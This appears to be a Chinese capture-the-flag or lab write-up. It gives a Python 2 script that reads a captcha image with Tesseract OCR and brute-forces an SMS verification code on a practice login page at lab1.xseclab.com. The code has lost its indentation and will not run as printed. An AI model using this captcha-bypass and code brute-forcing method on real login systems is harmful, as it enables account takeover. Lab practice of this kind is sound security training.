需要事先准备的东西
1.这几个python的模块可以用pip下载
import requests
import image
import pytesseract
import re
2.下载Tesseract:这是一个开源自动识别验证码的软件,我直接下载的.exe可执行文件。
源码和解释如下:
# -*- coding: cp936 -*-
import requests
import image
import pytesseract
import re
url1='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php'
url2='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/mobi_vcode.php'
url3='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
url4='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
#识别验证码的函数
def user_code():
#获取图片验证码
r = s.get(url3)
with open('1.bmp', 'wb') as f:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
f.flush()
f.close()
#识别图片验证码
im = pytesseract.image_to_string('1.bmp')
im = im.replace(' ', '')
#因为验证码识别不太准确,需要用正则表达式判断一下
if re.match('[0-9]{4}',im) :
return im
else :
return user_code()
s=requests.session()
#先给手机发送验证码,不然会出现“验证码还没发呢”
r=s.post(url2,{'getcode':1,'mobi':13388886666})
#爆破手机验证码
for code in range(100,1000):
hhh=user_code()
print hhh,code
data={'username':13388886666,'mobi_code':code,'user_code':hhh,'Login':'submit'}
r=s.post(url4,data=data)
print r.content
#得到flag就停止
if 'error' not in r.content :
break